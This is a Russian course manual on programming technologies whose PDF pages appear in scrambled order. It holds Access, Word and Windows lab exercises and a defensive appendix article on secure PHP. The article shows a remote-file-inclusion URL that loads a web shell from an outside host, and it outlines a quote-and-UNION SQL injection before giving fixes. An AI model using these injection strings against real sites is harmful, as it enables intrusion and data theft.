Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Методичка_ТП

.pdf
Скачиваний:
22
Добавлен:
23.03.2015
Размер:
560 Кб
Скачать
☆

конфиденциальную информацию из базы (например, пароли) если узнает ее строение. Если бы после условия шли бы еще какие то другие условия (не нужные хакеру), то он бы их смог легко обрезать так "-" или так "/*" (эти символы в MySQL означают дальнейший комментарий).

Кстати, в MSSQL злоумышленниц мог бы поставить символ ";" (означающий конец команды) и внедрить новую (например, INSERT, UPDATE и т.п.).

Для решения проблемы с SQL-инъекциями нам необходимо фильтровать передаваемые в SQL-комманде переменные. Это достигается следующими способами:

1)Никогда не забывайте ставить значения в кавычки (это пригодится нам для дальнейшей фильтрации переменных). Т.е. так user='$go' , а не так user=$go ! Кстати, если переменная является числом, то ее значение тоже можно указать в кавычках.

2)Если переменная является числом, то обезопасить ее можно очень легко, необходимо просто средствами PHP привести ее к числовому типу: $go=(int)$go; или $go=intval($go);

3)Если переменная не является числом, то нам нужно просто отследить отсутствие кавычек, этого можно добиться ф-цией mysql_escape_string() (ее аналог является addslashes()). Ф-ция предназначена для того, чтобы ставить слеш перед кавычкой (\'). Теперь даже если хакер попробует внедрить свой SQL-код, то он не

выйдет за пределы кавычек.

Если вы являетесь параноиком, то можете сделать фильтрацию на основные ф-ции в MySQL, которые используются для инъекций: UNION и CHAR.

Вариант 4:

Советы

1)Желательно не создавать конфиги, которые можно прочесть из веба. Конфиг надо класть выше папки веб-сервера или создавать в таком типе файла, который нельзя прочесть из браузера (например, *.inc не на всех веб-серверах запускается, как PHP-скрипт, а просто открывается как текстовый файл). Так что давайте имена таким файлам с расширением *.php.

2)Никогда не делайте пароль на доступ к SQL-базе таким же, как и на FTP. А если у вас на хостинге по умолчанию так и сделано (пароли одинаковые), то требуйте от хостера чтобы он сделал их разными, т.к. если хакер получит веб-шел на сервер и сможет прочесть конфиг с паролем к SQL-базе => сможет получить FTP-доступ.

3)Шифруйте все пароли доступа к различным закрытым зонам специальными ф-циями, например md5(). Если хакер сможет

34

16.Сохраните данную базу данных на дискете для следующей лабораторной работы. В отличии, от ранее изученных программ, для этого необходимо закрыть ACCESS и скопировать файл базы одним из средств Windows.

Часть 2 Разделение данных на две таблицы

17.Откройте свою базу данных

18.Создайте таблицу 2 для своего варианта с полями (см. схему 2)

19.Первое поле сделайте ключевым

20.Создайте таблицу 3 для своего варианта с полями (см.схему 3)

21.Первое поле сделайте ключевым

22.Заполните эти таблицы

23.Откройте исходную таблицу и замените названия в соответствующих полях на соответствующие им коды в ранее созданных таблицах 2 и 3 (для автоматизации попробуйте использовать команду замены из меню правка)

24.Откройте исходную таблицу в режиме конструктора

25.Для замененных полей измените тип данных на числовой

26.Одновременно установив им размер поля Длинное целое (так как связываемые поля, как правило, должны иметь одинаковый тип данных)

Установка связи между двумя таблицами

27.Выполните команду Схема данных из меню Сервис

28.В диалоговом окне добавления таблиц добавьте в схему все три таблицы

29.На ключевом поле таблицы 2 нажмите левую клавишу мыши и

удерживая ее перетащите на соответствующее ей поле таблицы 1 В появившемся диалоговом окне необходимо установить нужную связь:

флажок напротив опции обеспечение целостности данных означает, что перед тем как занести данные в подчиненную таблицу, программа будет проверять их на соответствие главной. (Таблица 1 является подчиненной для таблиц 2 и 3). Флажок напротив опции каскадное обновление связанных полей означает, что изменения в главной таблице автоматически будут влиять на подчиненную. Флажок напротив опции

каскадное удаление связанных полей означает, что поля удаленные в главной таблице будут удалены и в подчиненной.

30.Установите все эти флажки

31.Аналогичную операцию проделайте с таблицами 1 и 3 (Если связь не устанавливается, еще раз проверьте типы данных связываемых полей)

32.Закройте схему с сохранением

33.Попробуйте в таблице 1 в полях, связанных с таблицами 2 и 3 поменять коды на несуществующие в главных таблицах. Получилось? Почему?

34.Сохраните базу данных.

11

Схема 1

Как видно, из ниже перечисленных данных, нам необходимо создать следующие поля:

Вариант 1 (Европа)

Жанр

Текстовый

 

 

Название поля

Тип данных

 

 

Код страны

Счетчик

Страна

Текстовый

Столица

Текстовый

Площадь

Числовой

Население

Числовой

Религия

Текстовый

Деньги

Текстовый

Строй

Текстовый

Вариант 2 (Склад)

Название поля

Тип данных

 

 

Код товара

Счетчик

Товар

Текстовый

Производитель

Текстовый

Стоимость

Числовой

Вес

Числовой

Срок годности (г)

Числовой

Страна-производитель

Текстовый

Дата изготовления

Дата

Вариант 3 (Книгохранилище)

Название поля

Тип данных

 

 

Код книги

Счетчик

Название книги

Текстовый

Автор

Текстовый

Количество страниц

Числовой

Год выпуска

Числовой

Издательство

Текстовый

Город

Текстовый

Жанр

Текстовый

Вариант 4 (Фильмотека)

Название поля

Тип данных

 

 

Код фильма

Счетчик

Название фильма

Текстовый

Режиссер

Текстовый

Исполнитель главной роли

Текстовый

Год выпуска

Дата

Кинокомпания

Текстовый

Кассовый сбор

Числовой

12

 

Вариант 5 (Каталог автомобилей)

Название поля

Тип данных

 

 

Код автомобиля

Счетчик

Название автомобиля

Текстовый

Тип кузова

Текстовый

Объем двигателя

Числовой

Стоимость

Числовой

Производитель

Текстовый

Цвет

Текстовый

Год выпуска

Дата

Вариант 6 (Путевки)

Название поля

Тип данных

 

 

Код тура

Счетчик

Название тура

Текстовый

Страна

Текстовый

Длительность

Числовой

Стоимость

Числовой

Тип

Текстовый

Оператор

Текстовый

Вид (горящая или нет)

Текстовый

Вариант 7 (Студ. общежитие)

Название поля

Тип данных

 

 

Код студента

Счетчик

ФИО студента

Текстовый

Адрес (пост. м/ж)

Текстовый

№ комн.

Числовой

Группа

Текстовый

Факультет

Текстовый

Паспортные данные

Текстовый

Вариант 8 (Хит парад)

Название поля

Тип данных

 

 

Код альбома

Счетчик

Название альбома

Текстовый

Исполнитель

Текстовый

Место в х/п

Числовой

Год выпуска

Дата

Жанр

Текстовый

Премия (есть или нет)

логический

Многие наивные программисты думают, что если они сделают конструкцию типа include("$file.php"), то их не смогут сломать. Они глубоко ошибаются! Во-первых, в старых версиях PHP (например, PHP<=4.0.3pl1) присутствовал баг null-byte (знакомый еще из Perl), который позволял отбросить расширение (да и вообще, что угодно после переменной) файла. Во-вторых, даже если версия PHP на сервере новая, то можно проинклудить любой php-файл на этом сервер (если хватит прав на его чтение), а это тоже не есть хорошо. Так что запомните совет: по возможности НИКОГДА не передавайте переменные через параметр к скрипту, которые потом будут участвовать в ф-ции include().

Я, конечно, понимаю, что можно сделать крутые фильтры на эту переменную, но как показывает практика - "Береженного - бог бережет".

Все выше описанное, так же относится к ф-циям:

fopen(), require(), require_once() и inсlude_once().

Так же рекомендуя в конфиге PHP устанавливать register_globals=off (начиная с версии 4.2.0 переменная выключена по умолчанию), т.к. если ваш движек использует модули и в каком то модуле есть строка include("$file") , а значение переменной $file задается не в этом модуле, а в главном файле, то хакер может передать $file через параметр к файлу модуля в браузере.

Вариант 3:

SQL-инъекции

Все больше и больше кодеров начинают делать в своих скриптах взаимодействие с базами данных. Как правило, используется MySQL (реже MSSQL). В данной статье я расскажу о мерах защиты PHP+MySQL, т.к. с MSSQL я не работаю, и она дает куда больше возможностей для хакера, чем MySQL. Суть уязвимостей такого типа заключается в том, что через переменные которые передаются через параметр к скрипту и участвуют в SQL-запросе, злоумышленник может внедрить свой SQL-код и тем самым модифицировать запрос к БД. Я не буду подробно заострять внимание на самом принципе SQL-инъекций, а просто расскажу, как их избежать. Тех, кто хочет узнать, как происходят SQL-инъекции, может прочитать о них тут

(http://rst.void.ru/texts/sql-inj.txt). Приведу не большой пример: SELECT *

FROM table WHERE user='$go'

Допусти эта переменная $go передается как параметр к скрипту и выполняется SQL-комманда. Все бы хорошо, что хакер может в качестве значения к переменой передать user=lamer' (обратите внимание на кавычку) и сам закрыть условие, а далее внедрить через ф-цию UNION (эта ф-ция появилась с MySQL4, а значит в более ранних версиях инъекция не получится) другую команду SELECT и тем самым получить

33

Безопасное программирование на PHP

В этой статье я хочу рассказать основные принципы безопасного программирования на PHP. На написание статьи меня подтолкнул тот факт, что в интернете очень много статей о том как взламывать сайты через дыры в PHP-скриптах, но очень мало советов (и все они разбросаны) как не делать ошибок, через которые сайт может быть взломан. Статью я решил разделить на несколько частей, каждая из которых посвящена какому то типу. ошибок и примером, как этой ошибки избежать. В конце статьи я хочу дать общие советы. Итак, приступим.

Include-баг

Это очень старый и почти всем известный баг в скриптах, но к сожалению до сих пор очень актуальный. Ф-ция include() (ее аналог: inсlude_once()) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP.

Наиболее частой ошибкой с этой ф-цей является код: include("$file"), а переменная $file берется из параметра к скрипту

(например, qwe.php?file=index.php).

Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом и передать в параметре к скрипту адрес своего веб-шела

(например, qwe.php?file=http://web-hack.ru/shell.php).

Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов.

Решением проблемы с Include-багом является отсутствие переменной передаваемой в запросе к скрипту, для инклуда. В таких случаях

можно использовать конструкцию с оператором switch, например так:

switch ($case) // $case - имя переменной передаваемой в параметре к скрипту

{

case news: include("news.php"); break;

case articles: include("articles.php"); break;

... // и т.д.

default:

include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница

break;

}

32

Вариант (1)

Название поля

Тип данных

 

 

Код_религии

Счетчик

Религия

Текстовый

Вариант (2)

Название поля

Тип данных

 

 

Код_страны-

Счетчик

производителя

 

Страна-

Текстовый

производитель

 

Вариант (3)

Название поля

Тип данных

 

 

Код_жанра

Счетчик

Жанр

Текстовый

Вариант (4)

Название поля

Тип данных

 

 

Код_жанра

Счетчик

Жанр

Текстовый

Вариант (1)

Название поля

Тип данных

 

 

Код_строя

Счетчик

Строй

Текстовый

Вариант (2)

Название поля

Тип данных

 

 

Код_производителя

Счетчик

Производитель

Текстовый

Вариант (3)

Название поля

Тип данных

 

 

Код_автора

Счетчик

Автор

Текстовый

Вариант (4)

Название поля

Тип данных

 

 

Код_кинокомпании

Счетчик

Кинокомпания

Текстовый

Жанр

Текстовый

 

Схема 2

Вариант (5)

 

 

 

Название поля

Тип данных

 

 

 

 

Код_производителя

Счетчик

Производитель

Текстовый

 

Вариант (6)

 

 

Название поля

Тип данных

 

 

 

 

Код_вида

Счетчик

Вид

Текстовый

 

Вариант (7)

 

 

Название поля

Тип данных

 

 

 

 

Код_группы

Счетчик

Группа

Текстовый

 

Вариант (8)

 

 

Название поля

Тип данных

 

 

 

 

Код_исполнителя

Счетчик

Исполнитель

Текстовый

 

 

Схема 3

Вариант (5)

 

 

 

Название поля

Тип данных

 

 

 

 

Код_типа кузова

Счетчик

Тип кузова

Текстовый

 

Вариант (6)

 

 

Название поля

Тип данных

 

 

 

 

Код_типа

Счетчик

Тип

Текстовый

 

Вариант (7)

 

 

Название поля

Тип данных

 

 

 

 

Код_факультета

Счетчик

Факультет

Текстовый

 

Вариант (8)

 

 

Название поля

Тип данных

 

 

 

 

Код_жанра

Счетчик

 

13

Контрольные вопросы

1.Что называется базой данных?

2.Чем поле отличается от записи?

3.Какие основные функции СУБД и что это такое?

4.Какие структуры ACCESS вы знаете?

5.Для чего служит структура "таблица"?

6.Для чего данным задаются различные типы?

7.Что можно настроить в свойствах поля таблицы?

8.Для чего данные разбивают на несколько таблиц?

9.Какое необходимое условие для создания связи с обеспечением целостности данных?

10.Каким образом при разбиении достигается компактность хранения информации?

ЛАБОРАТОРНАЯ РАБОТА № 12 Тема: Создание запросов на выборку

Цель работы: Изучить структуру баз данных Запрос; научиться пользоваться простейшими логическими операндами; получить практику выборки заданной информации; практика создания баз данных;

изучение построения математического выражения в структуре запрос; изучение групповых операций в запросах; практика работы с контекстным меню.

Ход работы

Часть 1

1.Откройте свою базу данных

2.Перейдите на вкладку Запросы

3.Создайте запрос, выбрав режим конструктора (появится окно конструктора запроса с диалоговым окном добавления таблиц. Окно добавления таблиц можно вызвать командой Добавить таблицу из меню Запрос).

4.Добавьте в запрос все таблицы своей БД

5.Убедитесь, что между добавленными таблицами автоматически установилась связь.

Теперь необходимо выбрать поля для запроса.

Вариант 1. Из таблицы Страны Европы возьмем поля: Страна, Столица, Площадь, Население, Деньги. Из таблицы Строй поле Строй, а из таблицы Религия поле Религия.

Вариант 2. Из таблицы Склад возьмем поля: Товар, Стоимость, Срок годности, Вес, Дата изготовления. Из таблицы Производитель поле Производитель, а из таблицы Страна производитель поле Страна производитель.

14

ПРИЛОЖЕНИЕ Б

Тексты-задания к лабораторным работам

Текст-задание к лабораторной работе №1

Вариант 1:

Символ – основная и неделимая единица информации в Word, это буквы, цифры, знаки. Некоторые символы осуществляют особый контроль над расположением текста. Маркер в конце абзаца – тоже символ. К символу относятся следующие атрибуты форматирования (Формат – Шрифт):

1)шрифт – изображение;

2)размер – величина;

3)начертание – обычный, полужирный, курсив, полужирный курсив;

4)подчеркивание – одинарное, двойное, пунктирное;

5)эффекты – зачеркнутый, верхний/нижний индекс, скрытый и т.д.

инекоторые другие.

Абзац – создается при каждом нажатии Enter в Word, его можно определить как часть текста, несущую отдельную смысловую нагрузку. Некоторые важные атрибуты форматирования связаны именно с абзацами, доступ к ним через пункт меню Формат-Абзац. Основные атрибуты форматирования абзаца:

1)отступы – слева, справа, первая строка (величина отступа или выступа); [над ними преобладают заданные в Файл-Параметры страницы];

2)интервалы – междустрочный;

3)положение на странице – несколько атрибутов.

Для форматирования разделов используется метка конца раздела (Вставка – Разрыв), если ее удалить, к тексту будет применено форматирование из следующего раздела.

Значительно облегчает работу в Word использование стилей и шаблонов.

Стиль – набор атрибутов форматирования абзацев и символов, которому можно присвоить имя, чтобы быстро применить к любому тексту. Стиль позволяет автоматизировать процесс форматирования документов (Формат – Стиль).

Шаблон – документ Word специального типа, используемый в качестве образца для создания других документов. В основу шаблона заложены: стиль, макет страницы (форматирования раздела), панели инструментов, используемые при создании шаблона (Файл – Создать – Шаблон).

Вариант 2:

31

ПРИЛОЖЕНИЕ А

Перечень вопросов к письменной форме контроля

исамоконтроля по курсу «Технологии программирования»

1.Функциональные возможности меню Пуск.

2.Файловые операции в Windows.

3.Средства поиска файлов в Windows. Возможности Word

4.Редактирование текста в Word

5.Форматирование текста в Word

6.Автоматизация редактирования, форматирования.

7.Работа со списками, колонками. Использование стилей и шаблонов.

8.Графика в Word

9.Режимы просмотра документов

10.Определение и применение стилей и заголовков в Word

11.Свойства, определение и применение шаблона документа

12.Свойства, определение и применение колонтитула

13.Использование дополнительных средств оформления текста.

14.Создание оглавления

15.Создание формы, использование и настройки панелей инструментов.

16.Что называется книгой Excel из чего она состоит?

17.Управление листами: размещение окон и просмотр листов.

18.Типы данных в Excel (какие Вы знаете, перечислить их особенности, для чего они нужны).

19.Что такое адрес ячейки. Какие типы адресов Вы знаете.

20.Форматирование в электронных таблицах.

21.Вычисления и понятие «мастера функций» в Excel, где и как он используется.

22.Построение диаграмм и графический анализ в Excel.

23.Способы фильтрации данных в Excel.

24.Сортировка и подведение итогов в Excel.

25.Создание и использование форм.

26.Что называется базой данных. Какие основные функции СУБД Вы знаете.

27.Структуры Access.

28.Типы данных в Access (какие Вы знаете, перечислить их особенности, для чего они нужны)

29.Для чего данные разбивают на несколько таблиц. Какое необходимое условие для создания связи с обеспечением целостности данных.

30.Типы запросов.

31.Что означает связать поля с сохранением целостности данных? Можно ли установить такую связь между различными типами данных. Почему?

32.Для чего служит структура Формы? Какие элементы можно вставлять в форму в режиме конструктора.

33.Для чего служат кнопочные формы.

34.Создание отчетов в Access.

30

Вариант 3. Из таблицы Книгохранилище возьмем поля: Название книги, Количество страниц, Год выпуска, Издательство, Город. Из таблицы Автор поле Автор, а из таблицы Жанр поле Жанр.

Вариант 4. Из таблицы Фильмотека возьмем поля: Название фильма,

Режиссер, Исполнитель главой роли, Год выпуска, кассовый сбор. Из таблицы Кинокомпания поле Кинокомпания, а из таблицы Жанр поле Жанр.

Вариант 5. Из таблицы Каталог автомобилей возьмем поля: Название автомобиля, Стоимость, Объем двигателя, Цвет год выпуска. Из таблицы Тип кузова поле Тип кузова, а из таблицы Производитель поле Производитель.

Вариант 6. Из таблицы Путевки возьмем поля: Название тура, страна, Длительность, Стоимость, Оператор. Из таблицы Тип поле Тип, а

из таблицы Вид поле Вид.

Вариант 7. Из таблицы Студ. общежитие возьмем поля: ФИО студента, Адрес, № комнаты, паспортные данные. Из таблицы Группы поле Группа, а из таблицы Факультет поле Факультет.

Вариант 8. Из таблицы Хит. парад возьмем поля: Название альбома, Место в х/п, Год выпуска, Премия. Из таблицы Исполнители поле Исполнитель, а из таблицы Жанры поле Жанр.

Это вызвано тем, что последние два поля в подчиненной таблице хранятся в кодовом виде, а в запросе мы можем позволить себе удобный просмотр.

6.Первое поле добавьте, произведя двойной щелчок по нему в таблице

7.Второе перетащите, используя мышь (есть и третий способ, но он менее удобен).

8.Остальные поля добавьте любым способом.

9.Закройте запрос, при закрытии задав ему имя Основной

10.Откройте запрос и просмотрите, какие данные он выводит 11.Закройте запрос

Теперь наша задача настроить запрос на различные условия выборки. Обычно для этого используют один запрос, меняя эти условия. Но для проверки выполненной работы, мы создадим несколько запросов (на каждое условие по запросу). Чтобы не создавать заново почти одинаковые запросы удобно несколько раз скопировать Основной через буфер обмена.

Пример. Для того чтобы вывести в запросе только страны с определенной религией необходимо в поле запроса, например, Религия, в строку Условие отбора ввести эту религию. Аналогично для любого поля. Для того, чтобы запретить странам с определенной

15

религией выводиться в запросе, необходимо в данном поле и уже указанной строке ввести заданную религию, но перед ней поставить оператор Not.

Для того, чтобы вывести страны с населением больше 1000000, достаточно в поле Население в строку Условие отбора ввести >1000000. Кстати для условий предусмотрено две строки, поэтому для одного поля можно вводить два условия.

Можно сделать так, чтобы перед выводом запроса программа просила ввести данные, строки с которыми будут выведены. Для этого в нужном поле, в указанной строке надо ввести [Введите данные для отбора]. Выражение в скобках может быть любым, но именно оно появится в диалоговом окне.

Для того, чтобы находить в поле не конкретное значение, а только его фрагмент используют оператор Like. Его ставят впереди заданного фрагмента, а до или после фрагмента, в этом случае, можно использовать звездочки маски. Этот оператор не всегда корректно работает, если офис давно не переустанавливался.

12.Выделите запрос Основной (он должен быть закрыть) 13.Скопируйте его в буфер обмена

14.Вставьте его в базу 6 раз, задавая имена созвучные следующим ниже заданиям.

Создайте запрос, выводящий объекты одного типа.

Создайте запрос, не выводящий объекты с определенным условием

Создайте запрос, выводящий страны с населением более 10000000 и

менее 200000000

Создайте запрос, выводящий страны с населением более 3000000 и площадью менее 30000 кв. км.

Создайте запрос, спрашивающий: страны с какой денежной единицей вывести на экран?

Создайте запрос, выводящий страны с денежной единицей, содержащей букву к

15.Сохраните БД.

Часть 2

1.Создайте базу данных Магазин

2.Создайте таблицу Товар по приведенному ниже примеру

(в соответствии со своим вариантом).

 

код товара

товар

цена поставки $

 

1

монитор

150,00

 

2

винчестер

120,00

 

 

 

 

 

3

CD-ROM

70,00

 

4

подарок

1,00

 

 

 

 

 

 

типы данных

 

счетчик

текстовый

числовой

 

16

 

 

 

 

САМОСТОЯТЕЛЬНАЯ РОБОТА 4

Тема: Дополнительные приемы работы с документами в Windows

1.Создать на Рабочем столе папку Документы.

2.С помощью программы WordPad создать 2 небольших текстовых файла произвольного содержания с именами Текст1 и Текст2.

3.Используя графический редактор Paint нарисовать небольшой рисунок и добавить его в документ Текст1.

4.Поместить Текст1 и Текст2 в Документы.

5.Переместить Текст1 в папку С:/Мои документы, используя правую кнопку мыши.

6.Скопировать Текст2 в Мои документы, используя функцию Правка оконного меню.

7.Просмотреть Мои документы, применив различные формы представления информации в окне папки.

8.Отсортировать файлы в Мои документы по именам.

9.Удалить Текст2 из Мои документы без перемещения в Корзину.

10.Скопировать все файлы из Мои документы в Документы на рабочем

столе.

11.Переместить папку Документы на диск D.

12.Создать в папке Документы ярлык к программе Word.

13.Используя средства поиска файлов в Windows, найти файл с именем Tips и скопировать его в папку Документы.

14.Используя средства поиска файлов в Windows, найти в папке Windows файл, содержащий текст «Архивация данных» и скопировать его в папку Документы.

15.Используя средства поиска файлов в Windows, найти все файлы типа Текстовый документ, созданные или измененные за последний месяц, и скопировать их в папку Документы.

16.Отсортировать файлы в папке Документы по дате изменения.

17.Используя Свойства в контекстном меню файлов, присвоить двум файлом в папке Документы с наиболее ранней датой изменения атрибут «скрытый».

18.Используя функцию меню Вид окна папки Документы, настроить окно таким образом, чтобы в нем отражались скрытые файлы.

19.Открыть папку Документы в окне программы Проводник и переместить файлы Tips и General в Мои Документы на диске С.

20.Отобразить скрытые файлы в папке Документы.

21.Переместить папку Документы в Мои документы на С.

22.Удалить из папки Мои документы файлы Tips и General без перемещения в корзину, удалить папку Документы.

29

2.Как создать/удалить папку?

3.Что такое Ярлык?

4.Какие файловыеменеджеры Вы знаете, коковпринцип ихработы?

5.Что такое папка? Чем она отличается от файла?

САМОСТОЯТЕЛЬНАЯ РОБОТА 3

Тема: Копирование, перемещение фрагментов текста при редактировании в Word.

Чтобы узнать, кто совершил кражу, введите приводимые ниже фрагменты текста и выполните инструкции для блоков текста, указанных в ( ) и их позиций, указанных в [ ].

Кто это сделал?

А. На снегу тянулась (остролиста) [1] шагов от [4] на краю поляны до (цепочка) [3]. Казалось, что они (балконных дверей) [2] уходят дальше в сад, но они обрывались там.

Переставьте 2 и 3, переставьте 3 и 1, поместите 1 в позицию 4.

Б. «Очень умно», - сказал себе под нос инспектор Блэр (строя снеговика) [1]. Он (внимательно посмотрел) [2] в кабинет и (вошел) [3] на ботинки каждого. «Как ловко преступник скрылся!» – проворчал (Миссис Пимпл, ее племянница Фелиция и ) [4] майор Хог.

Удалите 1, переставьте 2 и 3, удалите 4.

В. «Мои (шоколадная паста) [1] алмазы», - воскликнула она. – «Они украли мои (шоколадная паста) [2] алмазы!». «Всем оставаться на местах!» – крикнул, подбегая (балконные двери) [3], вбегая (инспектор Блер) [5] через [4].

Удалите 1 и 2, переставьте 5 и 3, поместите 3 в положение 4.

Г. Была темная и бурная (кабинете) [1]. Четыре (карты) [3] сидели и играли в (человека) [4] в (ночь) [2] майора Хога.

Переставьте 1 и 2, переставьте 3 и 4.

Д. Вдруг (за горло) [1] потух и кто-то закричал. Когда свет включили снова, миссис Пимпл лежала на (свет) [2] и хваталась руками за (полу) [3].

Переставьте 3 и 2, переставьте 2 и 1.

Е. «Не так уж и ловко», - сказал (покрытые снегом ботинки майора) [1], глядя на (запястьях майора) [2]. В одно мгновение он защелкнул наручники на (Фелиция и миссис Пимпл) [3] (инспектор Блер) [4] и выудил сверкающее колье из его кармана.

Удалить 3, переставить 4 и 1, переставить 1 и 2.

Выполнив инструкции под каждым фрагментом, переставьте их в следующем порядке: ГДВАБЕ.

28

3. Создайте таблицу Продажа товара по дате по приведенному ниже примеру

Примечание 1: после задания типа данных для поля наценка переведите текстовый курсор в поле Размер поля и с помощью кнопки выпадающего списка выберите режим С

плавающей точкой (4 байт).

Примечание 2: после задания типа данных для поля дата переведите текстовый курсор в поле

Формат поля и с помощью кнопки выпадающего списка выберите режим Краткий

формат даты.

 

код товара

количество

 

наценка

дата

 

 

 

1

 

5

0,2

04.10.99

 

 

 

 

1

 

5

0,2

05.10.99

 

 

 

 

2

 

2

0,2

04.10.99

 

 

 

 

3

 

10

0,2

04.10.99

 

 

 

 

4

 

2

0,02

02.10.99

 

 

 

 

 

 

 

 

 

 

 

типы данных

 

числовой

числовой

числовой

дата/время

4.Создайте таблицу Курс доллара (для каждого варианта своя ден. ед.) по приведенному ниже примеру

 

дата

курс $

 

 

 

 

04.10.99

 

25р.

 

 

05.10.99

 

26р.

 

 

06.10.99

 

27р.

 

 

02.10.99

 

24р.

 

 

03.10.99

 

 

0р.

 

 

дата/время

денежный

 

типы данных

5.Используя команду Схема данных из меню Сервис свяжите таблицы

Товар и Продажа товара по дате по полю код товара

6.Создайте в режиме Конструктора запрос прибыль по дате за вид товара с полями товар из таблицы Товар и дата из таблицы Курс

доллара.

ВНИМАНИЕ: Убедитесь, что в запрос вставлены сами эти таблицы.

Кроме того, для дальнейшей работы необходимо, чтобы в этот запрос была вставлена таблица

Продажа товара по дате.

7.Установите (перетаскиванием мыши) связь между полями Дата таблиц

Продажа товара по дате и Курс доллара.

8.Сохраните запрос под указанным именем.

Часть 3 (построение вычисляемого поля)

Наша задача (как видно из названия запроса) построить в следующем столбце данного запроса выражение для учета прибыли по виду товара за

17

определенную дату в рублях. Для этого необходимо умножить столбец цен в долларах на курс доллара по датам умножить получившееся произведение на столбец коэффициентов наценки и умножить на количество проданного товара по дате.

Решение задачи:

1.Откройте запрос прибыль по дате за вид товара в режиме конструктора.

2.Установите текстовый курсор в строку Поле свободного столбца и щелчком правой клавиши мыши на нем вызовите контекстное меню.

3.Выполните команду Построить

Примечание: появится диалоговое окно Построитель выражений.

4.В открывшимся диалоговом окне, открывая папки Таблицы и Запросы, а затем заданные таблицы и запросы, необходимо кнопкой вставить вставлять в окно нужные поля (из этих таблиц и строк), а также знаки необходимых математических операций.

5.Подготовив выражение, как указано в описании ко второй части, нажать подтверждающую клавишу.

6.Установить флажок (щелчком мыши) в поле Вывод на экран создаваемого столбца.

7.Сохраните измененный запрос (Файл – сохранить).

8.Переведите текстовый курсор в начало строки Поле созданного столбца.

9.Удалите название поля ( Выражение1 ), сохранив двоеточие.

10.Введите заданное название поля: прибыль по дате за вид товара

11.В меню Вид выполните команду Режим таблицу

12.Если построенное поле выводит данные закройте запрос с сохранением, иначе закройте без сохранения.

Мы добились учета прибыли магазина по виду товара за определенную дату. Теперь необходимо учесть полную прибыль магазина по дате. Для этого применяется функция группировки в создаваемом запросе. В такой запрос обычно вставляют поле или поля по которым будет производиться группировка и поле которое по этим группировкам необходимо учитывать. В нашем случае группировать мы будем по полю Дата а учитывать (применяя функцию суммы) поле построенное в предыдущем запросе.

Решение задачи:

1.Создать запрос, добавив в него только предыдущий запрос (из него будут браться данные).

2.Вставить из него поля Дата и поле построенное в предыдущем запросе.

3.Выбрать на панели инструментов или в контекстном меню операцию группировки (в запросе должна добавиться строка Групповая операция)

18

САМОСТОЯТЕЛЬНАЯ РОБОТА 1

Тема: Управление окнами и панелью задач в Windows

ЗАДАНИЕ

1.Запустить программы Блокнот и Paint с помощью меню Пуск.

2.С помощью панели задач разложить окна программы каскадам и рядом.

3.Свернуть окна, развернуть на весь экран и вернуть программы в обычное окно с помощью соответствующих кнопок и другим способом (оконное меню).

4.Изменить размеры окна (мышью), переместить окно.

5.Закрыть окна (разные способы).

6.Изменить положение панели задач.

7.Спрятать панель задач.

8.Запустить черезПуск Блокнот, Калькулятор и графический редактор Paint.

9.Вернуть панель задач на экран.

10.Использовать панель задач для переключения между окнами.

11.Закрыть окна с помощью панели задач.

Контрольные вопросы:

1.Для чего служит меню Пуск?

2.Как работает Панель задач?

3.Для чего служит Окно?

4.С помощью каких горячих клавиш свернуть все окна?

САМОСТОЯТЕЛЬНАЯ РОБОТА 2

Тема: Организация рабочего стола, файловые операции в Windows

1.Создать на рабочем столе ярлык к программе калькулятор.

2.Поместить калькулятор непосредственно в меню Пуск перетаскиванием ярлыка.

3.Создать папку Рабочая и поместить в нее ярлык калькулятора

4.Удалить папку Рабочая.

5.Достать калькулятор из Корзины.

6.Удалить Калькулятор из меню Пуск.

7.Поместить на рабочий стол ярлыки дисков С и D.

8.Получить информацию о диске, о количестве свободного места на диске.

9.С помощью программы Мой Компьютер:

a)просмотреть содержимое папки Windows на диске С, переключить вид содержимого папки на мелкие значки;

b)создать на диске С папку Временная;

c)скопировать папку Временная на диск D;

d)Скопировать файл из папки Мои Документы диска С во Временную;

e)Удалить папку временная на С и D.

2.Выполнить все эти пункты с помощью программы Проводник.

3.Выполнить все эти пункты с помощью файлового-менеджера.

Контрольные вопросы:

1.Что такое Рабочий стол?

27

Часть 4 (создание кнопочной команды, запускающей макрос)

1.Выполните команду диспетчер кнопочных форм из списка

надстройки меню сервис.

2.В появившемся диалоговом окне, нажмите кнопку изменить.

3.В следующем окне выполните команду создать

4.Выполните настройки аналогично пунктам из части 2.

Часть 5 (изменение параметров запуска)

Теперь наша задача сделать недоступной, при открытии файла, окно базы данных, обеспечив, при этом, автоматический запуск кнопочной формы. Для этого необходимо проделать следующие действия:

1.Выполнить команду параметры запуска из меню сервис

2.В появившемся диалоговом окне, убратьфлажок напротивокнобазы данных.

3.А, в форма, выставить кнопочную форму.

Контрольные вопросы

1.Для чего служат кнопочные формы?

2.Можно ли создать в базе две кнопочные формы?

3.Для чего создавался макрос?

4.Какие события можно задавать по нажатию кнопки в ACCESS?

26

4.Установить текстовый курсор в ячейку на пересечении этой строки и столбца, построенного в предыдущем запросе.

5.Щелкнуть в ней по кнопке выпадающего списка и выбрать из него функцию sum.

6.Закрыть запрос с сохранением.

7.Сохраните базу данных на дискету.

Контрольные вопросы

1.Для чего служат запросы на выборку?

2.Почему запросы не занимают в базе данных много места?

3.По какому количеству критериев можно отбирать информацию в одном поле запроса?

4.Для чего в запрос вставляют ссылки на таблицы?

5.Какие способы вставки полей в запрос вы знаете?

6.Для чего служит оператор Like?

7.Как вызывается контекстное меню?

8.Для чего предназначена операция группировки?

9.Что значит связать поля с сохранением целостности данных?

10.Можно ли установить такую связь между полями с разными типами данных; и если нет то почему?*

ЛАБОРАТОРНАЯ РАБОТА № 13 Тема: Создание и конструирование форм

Цель работы: знакомство со структурой форма; практика создания форм; практика конструирования форм; знакомство с режимом мастера; знакомство со структурой форма; практика создания форм; практика конструирования форм; знакомство с режимом мастера.

Ход работы:

Часть 1 (подготовка)

1.Откройте базу данных Магазин.

2.Убедитесь в наличии следующих ниже таблиц (для каждого варианта свои таблицы продаж (см. Лаб.раб. 14)).

Пример. Товар.

код товара

товар

цена поставки $

1

монитор

150,00

2

винчестер

120,00

 

 

 

3

CD-ROM

